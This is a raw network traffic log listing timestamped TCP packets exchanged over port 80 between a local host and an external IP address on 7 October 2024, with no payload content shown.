Oct 7, 2024 18:00:27.732923985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.732939005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.732961893 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.732990980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733005047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733015060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733025074 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733042955 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733042955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733068943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733094931 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733211994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733223915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733233929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733244896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733253956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733262062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733264923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733272076 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733274937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733285904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733298063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733310938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733338118 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733467102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733481884 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733491898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733501911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733508110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733508110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733511925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733519077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733526945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733531952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733536005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733541965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733572960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733584881 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733747005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733757973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733793020 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733854055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733865023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733875036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733890057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733895063 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733900070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733910084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733920097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733922005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733930111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733942032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.733951092 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.733975887 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.811923981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.811935902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.811945915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.811955929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.811970949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.811980963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.811999083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.812031984 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.812103033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.813462973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813477039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813488960 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813498974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813508987 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813519001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813529015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813532114 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.813539028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813553095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.813576937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.813596964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.813597918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813611984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813626051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813637018 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813648939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.813652992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813663960 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813673019 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.813713074 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.813869953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813879013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813889980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813899040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813908100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813915968 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.813920021 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.813939095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814109087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814120054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814129114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814133883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814138889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814146042 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814146042 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814152002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814186096 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814210892 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814368010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814378023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814404964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814414024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814423084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814429045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814429045 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814445019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814455032 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814491987 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814582109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814593077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814604044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814640045 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814666986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814722061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814733982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814744949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814754963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814769983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814773083 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814779997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814790964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814795017 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814814091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814815044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814826012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814831972 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814836979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.814861059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.814887047 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.815136909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.815148115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.815198898 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.815284014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.815294981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.815335035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.815340996 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.815346003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.815367937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.815422058 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.815427065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.815438986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.815448999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.815459013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.815476894 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.815504074 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816106081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816117048 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816128016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816138029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816148043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816159010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816163063 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816169024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816179037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816188097 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816231966 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816231966 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816241980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816252947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816267967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816270113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816272974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816277981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816287994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816296101 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816329002 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816354036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816517115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816524982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816536903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816545010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816554070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816564083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816565990 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816597939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816622019 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816663980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816715002 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816802979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816812992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816823959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816837072 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816845894 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816871881 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816891909 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816898108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816909075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816917896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816927910 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816937923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.816946030 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816968918 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.816993952 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.817054033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817065954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817075014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817102909 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.817126036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.817199945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817210913 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817220926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817230940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817240953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817245960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.817250967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817260981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817267895 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.817271948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817281961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817292929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817296982 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.817317963 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.817338943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.817595959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817606926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817630053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817641020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817646027 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.817650080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817660093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817663908 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.817671061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.817686081 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.817720890 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.895534992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.895549059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.895560026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.895668030 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.895852089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.895909071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.895925045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.895931005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.895934105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.895986080 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.896826029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.896878958 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.896886110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.896888971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.896922112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.896927118 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.896933079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.896960974 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.896960974 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.896992922 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897069931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897080898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897090912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897100925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897110939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897119999 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897121906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897145033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897175074 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897336960 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897351980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897362947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897372007 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897382021 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897389889 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897394896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897409916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897411108 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897420883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897429943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897449017 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897473097 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897593021 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897603989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897645950 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897674084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897685051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897725105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897814989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897825956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897835970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897845030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897856951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897867918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.897897005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897897005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897897005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897927999 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.897964954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898029089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898035049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898040056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898046017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898050070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898180008 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.898309946 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898319006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898329020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898334026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898339033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898349047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898354053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898359060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898365974 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.898391962 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.898416996 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.898454905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898505926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898511887 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.898515940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898576975 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.898734093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898786068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898792982 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.898797035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898807049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.898845911 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.898845911 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.899014950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.899074078 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.899116039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.899123907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.899135113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.899144888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.899154902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.899161100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.899168968 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.899193048 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.899209976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.899213076 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.899260998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.899952888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.899966002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.899976015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.900017023 CEST	49718	80	192.168.2.6	46.8.231.109
